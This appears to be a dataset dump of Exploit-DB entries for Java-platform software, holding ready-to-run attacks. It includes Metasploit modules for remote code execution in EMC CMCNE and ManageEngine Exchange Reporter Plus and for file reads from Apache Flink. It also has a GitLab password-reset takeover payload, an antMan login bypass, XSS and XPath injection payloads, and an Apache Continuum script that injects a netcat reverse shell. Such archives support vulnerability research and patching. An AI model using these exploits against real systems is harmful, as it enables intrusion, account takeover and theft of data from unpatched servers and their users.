deardaniel/secdata-raw huggingface dataset:
Exploit-DB #42702
Description: EMC CMCNE 11.2.1 - FileUploadController Remote Code Execution (Metasploit)
Type: remote
Platform: java
Date: 2017-09-13
Author: James Fitts

Exploit:
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'EMC CMCNE FileUploadController Remote Code Execution',
			'Description'    => %q{
				This module exploits a fileupload vulnerability found in EMC
				Connectrix Manager Converged Network Edition <= 11.2.1. The file
				upload vulnerability is triggered when sending a specially crafted
				filename to the FileUploadController servlet.  This allows the
				attacker to upload a malicious jsp file to anywhere on the remote
				file system.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'james fitts' ],
			'References'     =>
				[
					[ 'ZDI', '13-279' ],
					[ 'CVE', '2013-6810' ]
				],
			'Privileged'	=> true,
			'Platform' 	=> 'win',
			'Arch'	=> ARCH_JAVA,
			'Targets'	=>
				[
					[ 'EMC CMCNE 11.2.1 / Windows Server 2003 SP2 ', {} ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Dec 18 2013'))

		register_options([
			Opt::RPORT(80)
		], self.class)
	end

	def exploit

		peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"
		deploy = "..\\..\\..\\deploy\\dcm-client.war\\"
		jsp = payload.encoded.gsub(/\x0d\x0a/, "").gsub(/\x0a/, "")
		@jsp_name = "#{rand_text_alphanumeric(4 + rand(32-4))}.jsp"

		data = Rex::MIME::Message.new
        data.add_part("#{jsp}", "application/octet-stream", nil, "form-data; name=\"source\"; filename=\"#{deploy}#{@jsp_name}\"")
		data.add_part("#{rand_text_alpha_upper(5)}", nil, nil, "form-data; name=\"driverFolderName\"")

		post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, "--_Part_")

		print_status("#{peer} - Uploading the JSP Payload...")
		res = send_request_cgi({
            'method'    => 'POST',
            'uri'       => normalize_uri("HttpFileUpload", "FileUploadController.do"),
            'ctype'     => "multipart/form-data; boundary=#{data.bound}",
            'data'      => post_data
        })

		if res.code == 200 and res.body =~ /SUCCESSFULLY UPLOADED FILES!/
            print_good("File uploaded successfully!")
			print_status("Executing '#{@jsp_name}' now...")

			res = send_request_cgi({
				'method'	=> 'GET',
				'uri'		=> normalize_uri("dcm-client", "#{@jsp_name}")
			})

        else
            print_error("Does not look like the files were uploaded to #{peer}...")
        end


	end

end
Exploit-DB #42701
Description: EMC CMCNE Inmservlets.war FileUploadController 11.2.1 - Remote Code Execution (Metasploit)
Type: remote
Platform: java
Date: 2017-09-13
Author: James Fitts

Exploit:
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'EMC CMCNE Inmservlets.war FileUploadController Remote Code Execution',
			'Description'    => %q{
				This module exploits a file upload vulnerability found in EMC 
				Connectrix Manager Converged Network Edition <= 11.2.1. The file
				upload vulnerability is triggered when sending a specially crafted
				filename to the FileUploadController servlet found within the 
				Inmservlets.war archive. This allows the attacker to upload a
				specially crafted file which leads to remote code execution in the
				context of the server user.
			},
			'Author'		 => [ 'james fitts' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'ZDI', '13-280' ],
					[ 'CVE', '2013-6810' ]
				],
			'Privileged'	=> true,
			'Platform' 	=> 'win',
			'Arch'	=> ARCH_JAVA,
			'Targets'	=>
				[
					[ 'EMC CMCNE 11.2.1 / Windows Server 2003 SP2 ', {} ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Dec 18 2013'))

		register_options([
			Opt::RPORT(80)
		], self.class)
	end

	def exploit

		peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"
		deploy = "..\\..\\..\\deploy\\dcm-client.war\\"
		jsp = payload.encoded.gsub(/\x0d\x0a/, "").gsub(/\x0a/, "")
		@jsp_name = "#{rand_text_alphanumeric(4 + rand(32-4))}.jsp"

		data = Rex::MIME::Message.new
		data.add_part("#{jsp}", nil, nil, "form-data; name=\"ftproot\"; filename=\"#{deploy}#{@jsp_name}\"")

		post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, "--_Part_")

		print_status("#{peer} - Uploading the JSP Payload...")
		res = send_request_cgi({
            'method'    => 'POST',
            'uri'       => normalize_uri("inmservlets", "FileUploadController"),
            'ctype'     => "multipart/form-data; boundary=#{data.bound}",
            'data'      => post_data,
			'headers'	=> {
				'ROOTDIR'	=> "ftproot"
			}
        })

		if res.code == 200 and res.body =~ /SUCCESSFULLY UPLOADED FILES!/
			print_good("File uploaded successfully!")
			print_status("Executing '#{@jsp_name}' now...")
			res = send_request_cgi({
				'method'	=> 'GET',
				'uri'		=> normalize_uri("dcm-client", "#{@jsp_name}")
			})
		else
			print_error("Does not look like the files were uploaded to #{peer}...")
		end

	end

end
Exploit-DB #51889
Description: GitLab CE/EE < 16.7.2 - Password Reset
Type: remote
Platform: java
Date: 2024-03-14
Author: 0xB455

Exploit:
# Exploit Title: GitLab CE/EE < 16.7.2 - Password Reset
# Exploit Author: Sebastian Kriesten (0xB455)
# Twitter: https://twitter.com/0xB455

# Date: 2024-01-12
# Vendor Homepage: gitlab.com
# Vulnerability disclosure: https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/
# Version: <16.7.2, <16.6.4, <16.5.6
# CVE: CVE-2023-7028

Proof of Concept:
user[email][]=valid@email.com&user[email][]=attacker@email.com
Exploit-DB #45018
Description: Manage Engine Exchange Reporter Plus - Remote Code Execution (Metasploit)
Type: remote
Platform: java
Date: 2018-07-13
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule  < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Manage Engine Exchange Reporter Plus Unauthenticated RCE',
      'Description'    => %q{
        This module exploits a remote code execution vulnerability that
        exists in Exchange Reporter Plus <= 5310, caused by execution of
        bcp.exe file inside ADSHACluster servlet
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Kacper Szurek <kacperszurek@gmail.com>'
        ],
      'References'     =>
        [
          ['URL', 'https://security.szurek.pl/manage-engine-exchange-reporter-plus-unauthenticated-rce.html']
        ],
      'Platform'       => ['win'],
      'Arch'           => [ARCH_X86, ARCH_X64],
      'Targets'        => [['Automatic', {}]],
      'DisclosureDate' => 'Jun 28 2018',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The URI of the application', '/']),
        Opt::RPORT(8181),
      ])

  end

  def bin_to_hex(s)
      s.each_byte.map { |b| b.to_s(16).rjust(2,'0') }.join
  end

  def check
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'exchange', 'servlet', 'GetProductVersion')
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Safe
    end

    unless res.code == 200
      vprint_status 'Target is not Manage Engine Exchange Reporter Plus'
      return CheckCode::Safe
    end

    begin
      json = res.get_json_document
      raise if json.empty? || !json['BUILD_NUMBER']
    rescue
      vprint_status 'Target is not Manage Engine Exchange Reporter Plus'
      return CheckCode::Safe
    end

    vprint_status "Version: #{json['BUILD_NUMBER']}"

    if json['BUILD_NUMBER'].to_i <= 5310
      return CheckCode::Appears
    end

    CheckCode::Safe
  end

  def exploit
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, 'exchange', 'servlet', 'ADSHACluster'),
      'vars_post' => {
        'MTCALL'  => "nativeClient",
        'BCP_RLL' => "0102",
        'BCP_EXE' => bin_to_hex(generate_payload_exe)
      }
    })
  end
end
Exploit-DB #30502
Description: Sun Java Runtime Environment 1.4.2 - Font Parsing Privilege Escalation
Type: remote
Platform: java
Date: 2007-08-15
Author: John Heasman

Exploit:
source: https://www.securityfocus.com/bid/25340/info

The Sun Java Runtime Environment is prone to a remote privilege-escalation vulnerability.

An attacker can exploit this issue to execute arbitrary code within the context of the user who invoked the Java applet. Successfully exploiting this issue may result in the remote compromise of affected computers. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30502.tti
Exploit-DB #28887
Description: Sun Java System 6.x - Messenger Express Cross-Site Scripting
Type: remote
Platform: java
Date: 2006-10-31
Author: Handrix

Exploit:
source: https://www.securityfocus.com/bid/20832/info

Sun Java System Messenger Express is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Specific information regarding affected versions of Sun Java System Messenger Express is not currently available; this BID will be updated as more information is disclosed.

http://www.example.com/?user=&error=%3Cscript%3Ealert('hakin9');%3C/script%3E</a>
Exploit-DB #30514
Description: ALeadSoft Search Engine Builder - Search.HTML Cross-Site Scripting
Type: webapps
Platform: java
Date: 2007-08-21
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/25391/info

ALeadSoft Search Engine Builder is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/search/search.html?searWords=[XSS]
Exploit-DB #51564
Description: Alkacon OpenCMS 15.0 - Multiple Cross-Site Scripting (XSS)
Type: webapps
Platform: java
Date: 2023-07-03
Author: tmrswrr

Exploit:
# Exploit Title: Alkacon OpenCMS 15.0 - Multiple Cross-Site Scripting (XSS)
# Date: 1/07/2023
# Exploit Author: tmrswrr
# Vendor Homepage: http://www.opencms.org
# Software Link: https://github.com/alkacon/opencms-core
# Version: v15.0


POC:

1 ) Login in demo page , go to this url
https://demo.opencms.org/workplace#!explorer/8b72b2fe-180f-11ee-b326-0242ac11002b!!/sites/livedemo!!/.galleries/livedemo/!!
2 ) Click /.galleries/ , after right click any png file  , open gallery, write in search button this payload
<img src=. onerror=alert(document.domain)>
3 ) You will be see alert box

POC:

1 ) Go to this url , right click any png file, rename title section and write your payload :  <img src=. onerror=alert(document.domain)>
https://demo.opencms.org/workplace#!explorer/8b72b2fe-180f-11ee-b326-0242ac11002b!!/sites/livedemo!!/230701/ld_go87op3bfy/.galleries/images/!!
2 ) You will be see alert box , stored xss 

POC:

1 ) Go to this url , right click any png file and choose replace , click change file and choose your svg file
after save it 

svg file:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert("XSS");
  </script>
</svg>

2 ) When click this svg file you will be see alert button
Exploit-DB #29918
Description: Ametys CMS 3.5.2 - 'lang' XPath Injection
Type: webapps
Platform: java
Date: 2013-11-30
Author: LiquidWorm

Exploit:
Ametys CMS 3.5.2 (lang parameter) XPath Injection Vulnerability


Vendor: Anyware Services
Product web page: http://www.ametys.org
Download: http://www.ametys.org/en/download/ametys-cms.html
Affected version: 3.5.2 and 3.5.1

Summary: Ametys is a Java-based open source CMS combining
rich content with an easy-to-use and intuitive interface.

Desc: Input passed via the 'lang' POST parameter in the
newsletter plugin is not properly sanitised before being
used to construct a XPath query for XML data. This can be
exploited to manipulate XPath queries by injecting arbitrary
XPath code.

Tested on: Microsoft Windows 7 Ultimate (EN) 32bit
           Jetty 6.1.21


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2013-5162
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5162.php


24.11.2013

--



Request:
--------

POST /cms/plugins/newsletter/category/nodes HTTP/1.1
Host: 192.168.8.11:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.8.11:8080/cms/event/index.html
Content-Length: 137
Cookie: ametys.accept.non.supported.navigators=on; JSESSIONID=1na81i031qhdw; __utma=11[PII_REDACTED][PII_REDACTED]79[PII_REDACTED][PII_REDACTED][PII_REDACTED]858.1; __utmb=111872281.1.10[PII_REDACTED]; __utmc=111872281; __utmz=11[PII_REDACTED]252858.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

sitename=event&categoriesOnly=&debug=%255Bobject%2520Object%255D&userLocale=en&siteName=event&skin=demo&categoryID=root&lang=en'&node=root


Response:
---------

HTTP/1.1 500 Internal Server Error
Date: Sun, 24 Nov 2013 00:55:08 GMT
Content-Type: text/html; charset=utf-8
Server: Jetty(6.1.21)
Content-Length: 27280

...
...
org.apache.jackrabbit.spi.commons.query.xpath.ParseException:

                    Encountered "\'//element(*, ametys:page)[@ametys-internal:tags =\'" at line 1, column 68.
                    Was expecting one of:
                    "or" ...
                    "and" ...
                    "div" ...
                    "idiv" ...
                    "mod" ...
                    "*" ...
                    "return" ...
                    "to" ...
                    "where" ...
                    "intersect" ...
                    "union" ...
                    "except" ...
                    <Instanceof> ...
                    <Castable> ...
                    "/" ...
                    "//" ...
                    "=" ...
                    "is" ...
...
...
Exploit-DB #44262
Description: antMan 0.9.0c - Authentication Bypass
Type: webapps
Platform: java
Date: 2018-03-07
Author: Joshua Bowser

Exploit:
# Exploit Title: antMan <= 0.9.0c Authentication Bypass
# Date: 02-27-2018
# Software Link: https://www.antsle.com
# Version: <= 0.9.0c
# Tested on: 0.9.0c
# Exploit Author: Joshua Bowser
# Contact: joshua.bowser@codecatoctin.com
# Website: http://www.codecatoctin.com
# Category: web apps
 
1. Description
   
antMan versions <= 0.9.c contain a critical authentication defect, allowing an unauthenticated attacker to obtain root permissions within the antMan web management console.
 
http://blog.codecatoctin.com/2018/02/antman-authentication-bypass.html
 
   
2. Proof of Concept
 
The antMan authentication implementation obtains user-supplied username and password parameters from a POST request issued to /login. Next, antMan utilizes Javaâ€™s ProcessBuilder class to invoke, as root, a bash script called antsle-auth.

This script contains two critical defects that allow an attacker to bypass the authentication checks.  By changing the username to > and the password to a url-encoded linefeed (%0a), we can force the authentication script to produce return values not anticipated by the developer.

To exploit these defects, use a web proxy to intercept the login attempt and modify the POST parameters as follows:

#-------------------------
POST /login HTTP/1.1
Host: 10.1.1.7:3000
[snip]

username= > &password=%0a
#-------------------------

You will now be successfully authenticated to antMan as the administrative root user.
 
   
3. Solution:
   
Update to version 0.9.1a
Exploit-DB #39886
Description: Apache Continuum 1.4.2 - Multiple Vulnerabilities
Type: webapps
Platform: java
Date: 2016-06-06
Author: David Shanahan

Exploit:
# Exploit Title: Unauthenticated command injection - Apache Continuum
# Google Dork: inurl::8080/continuum/
# Date: 04/06/2016
# Exploit Author: David Shanahan (@cyberpunksec)
# Contact: http://www.procheckup.com/
# Vendor Homepage: https://continuum.apache.org/
# Software Link: https://continuum.apache.org/download.cgi
# Version: 1.4.2
# Tested on: Debian

--- Description ---

Apache Continuum is a continuous integration server for building Java projects https://continuum.apache.org/
ProCheckUp has discovered that Apache Continuum is vulnerable to an unauthenticated command injection attack and reflected XSS.

1) Command injection

Vulnerable URL - http://127.0.0.1:8080/continuum/saveInstallation.action

Vulnerable Parameter - installation.varValue

#!/bin/sh

if [ $# -eq 0 ]
    then
	echo "$0 <rhost> <rport> <lhost> <lport>"
	echo "Remember to set up your netcat listener"
	exit 1
fi

cmd="\`nc $3 $4 -e /bin/sh\`"

echo "\n\t[ Apache Continuum <= v1.4.2 CMD Injection ]"
echo "\t\t[ Procheckup - David Shanahan	]\n"
curl http://$1:$2/continuum/saveInstallation.action --data "installation.name=blah&installation.type=jdk&installation.varValue=$cmd"


2) Reflected XSS

The cross site scripting attack works against authenticated users only. An example attack would be to send an authenticated user (let's say the admin) the malicious URL.
If the victim is logged in and accesses the URL, the attacker could steal the victim's session cookie and impersonate them.

Vulnerable URL - http://127.0.0.1:8080/continuum/security/useredit_confirmAdminPassword.action?userAdmin[CREDENTIAL_REDACTED]=guest&user.username=guest<script>alert(document.cookie)</script>&user.fullName=Guest&user.email=blah@procheckup.com&user.[CREDENTIAL_REDACTED].confirm[CREDENTIAL_REDACTED].timestampAccountCreation=&user.timestampLastLogin=&user.timestampLastPasswordChange=&user.locked=false&user.passwordChangeRequired=false&method:confirmAdmin[CREDENTIAL_REDACTED]=Cancel<http://127.0.0.1:8080/continuum/security/useredit_confirmAdminPassword.action?userAdmin[CREDENTIAL_REDACTED]=guest&user.username=guest%3cscript%3ealert(document.cookie)%3c/script%3e&user.fullName=Guest&user.email=blah@procheckup.com&user.[CREDENTIAL_REDACTED].confirm[CREDENTIAL_REDACTED].timestampAccountCreation=&user.timestampLastLogin=&user.timestampLastPasswordChange=&user.locked=false&user.passwordChangeRequired=false&method:confirmAdmin[CREDENTIAL_REDACTED]=Cancel>

Fix:
The Apache Continuum project is no longer maintained. Removal of the software is recommended.

http://www.procheckup.com/
Exploit-DB #49398
Description: Apache Flink 1.11.0 - Unauthenticated Arbitrary File Read (Metasploit)
Type: webapps
Platform: java
Date: 2021-01-08
Author: SunCSR Team

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
    include Msf::Exploit::Remote::HttpClient
    include Msf::Auxiliary::Scanner
    include Msf::Auxiliary::Report

      def initialize(info = {})
          super(update_info(
            info,
            'Name'           => 'Apache Flink File Read Vulnerability',
            'Description'    => %q{
                This module exploits an unauthenticated directory traversal vulnerability
                in Apache Flink version 1.11.0 (and released in 1.11.1 and 1.11.2 as well),
                allowing arbitrary file read with the web server privileges
            },
            'Author'         =>
              [
                '0rich1 - Ant Security FG Lab', # Vulnerability discovery
                'Hoa Nguyen - Suncsr Team',    # Metasploit module
              ],
            'License'        => MSF_LICENSE,
            'References'     =>
              [
                ['CVE', '2020-17519'],
                ['URL', 'http://www.openwall.com/lists/oss-security/2021/01/05/2'],
                ['URL', 'https://www.tenable.com/cve/CVE-2020-17519']
              ],
            'Privileged'     => false,
            'Platform'       => ['php'],
            'Arch'           => ARCH_PHP,
            'Targets'        => [['', {}]],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Jan 05 2021'

            ))

            register_options([
                OptInt.new('DEPTH',[true,'Traversal Depth',12]),
                OptString.new('FILEPATH',[true,'The path file to read','/etc/passwd'])
            ])
            end

            def run_host(ip)
                traversal = '..%252f' * datastore['DEPTH']
                filename = datastore['FILEPATH'].gsub("/","%252f")
                filename = filename[1, filename.length] if filename =~ /^\//

                res = send_request_cgi({
                    'method' => 'GET',
                    'uri' => normalize_uri(target_uri.path,'jobmanager','logs',"#{traversal}#{filename}"),
                })

                fail_with Failure::Unreachable, 'Connection failed' unless res fail_with Failure::NotVulnerable, 'Connection failed. Nothingn was downloaded' if res.code != 200
                fail_with Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter' if res.body.length.zero?

                print_status('Downloading file...')
                print_line("\n#{res.body}\n")
                  fname = datastore['FILEPATH']
                  path = store_loot(
                  'apache.traversal',
                  'text/plain',
                  ip,
                  res.body,
                  fname
                )
                print_good("File saved in: #{path}")
            end
        end